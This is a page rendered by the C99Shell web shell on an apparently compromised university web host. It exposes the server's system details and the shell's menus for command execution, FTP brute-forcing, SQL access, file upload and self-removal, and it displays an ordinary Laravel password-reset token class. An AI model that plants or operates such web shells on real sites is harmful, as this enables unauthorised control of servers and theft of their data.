!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Auth/Passwords/   drwxr-xr-x
Free 117.29 GB of 200.55 GB (58.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DatabaseTokenRepository.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Auth\Passwords;

use 
Carbon\Carbon;
use 
Illuminate\Support\Str;
use 
Illuminate\Database\ConnectionInterface;
use 
Illuminate\Contracts\Auth\CanResetPassword as CanResetPasswordContract;

class 
DatabaseTokenRepository implements TokenRepositoryInterface
{
    
/**
     * The database connection instance.
     *
     * @var \Illuminate\Database\ConnectionInterface
     */
    
protected $connection;

    
/**
     * The token database table.
     *
     * @var string
     */
    
protected $table;

    
/**
     * The hashing key.
     *
     * @var string
     */
    
protected $hashKey;

    
/**
     * The number of seconds a token should last.
     *
     * @var int
     */
    
protected $expires;

    
/**
     * Create a new token repository instance.
     *
     * @param  \Illuminate\Database\ConnectionInterface  $connection
     * @param  string  $table
     * @param  string  $hashKey
     * @param  int  $expires
     * @return void
     */
    
public function __construct(ConnectionInterface $connection$table$hashKey$expires 60)
    {
        
$this->table $table;
        
$this->hashKey $hashKey;
        
$this->expires $expires 60;
        
$this->connection $connection;
    }

    
/**
     * Create a new token record.
     *
     * @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
     * @return string
     */
    
public function create(CanResetPasswordContract $user)
    {
        
$email $user->getEmailForPasswordReset();

        
$this->deleteExisting($user);

        
// We will create a new, random token for the user so that we can e-mail them
        // a safe link to the password reset form. Then we will insert a record in
        // the database so that we can verify the token within the actual reset.
        
$token $this->createNewToken();

        
$this->getTable()->insert($this->getPayload($email$token));

        return 
$token;
    }

    
/**
     * Delete all existing reset tokens from the database.
     *
     * @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
     * @return int
     */
    
protected function deleteExisting(CanResetPasswordContract $user)
    {
        return 
$this->getTable()->where('email'$user->getEmailForPasswordReset())->delete();
    }

    
/**
     * Build the record payload for the table.
     *
     * @param  string  $email
     * @param  string  $token
     * @return array
     */
    
protected function getPayload($email$token)
    {
        return [
'email' => $email'token' => $token'created_at' => new Carbon];
    }

    
/**
     * Determine if a token record exists and is valid.
     *
     * @param  \Illuminate\Contracts\Auth\CanResetPassword  $user
     * @param  string  $token
     * @return bool
     */
    
public function exists(CanResetPasswordContract $user$token)
    {
        
$email $user->getEmailForPasswordReset();

        
$token = (array) $this->getTable()->where('email'$email)->where('token'$token)->first();

        return 
$token && ! $this->tokenExpired($token);
    }

    
/**
     * Determine if the token has expired.
     *
     * @param  array  $token
     * @return bool
     */
    
protected function tokenExpired($token)
    {
        
$expiresAt Carbon::parse($token['created_at'])->addSeconds($this->expires);

        return 
$expiresAt->isPast();
    }

    
/**
     * Delete a token record by token.
     *
     * @param  string  $token
     * @return void
     */
    
public function delete($token)
    {
        
$this->getTable()->where('token'$token)->delete();
    }

    
/**
     * Delete expired tokens.
     *
     * @return void
     */
    
public function deleteExpired()
    {
        
$expiredAt Carbon::now()->subSeconds($this->expires);

        
$this->getTable()->where('created_at''<'$expiredAt)->delete();
    }

    
/**
     * Create a new token for the user.
     *
     * @return string
     */
    
public function createNewToken()
    {
        return 
hash_hmac('sha256'Str::random(40), $this->hashKey);
    }

    
/**
     * Begin a new database query against the table.
     *
     * @return \Illuminate\Database\Query\Builder
     */
    
protected function getTable()
    {
        return 
$this->connection->table($this->table);
    }

    
/**
     * Get the database connection instance.
     *
     * @return \Illuminate\Database\ConnectionInterface
     */
    
public function getConnection()
    {
        return 
$this->connection;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0349 ]--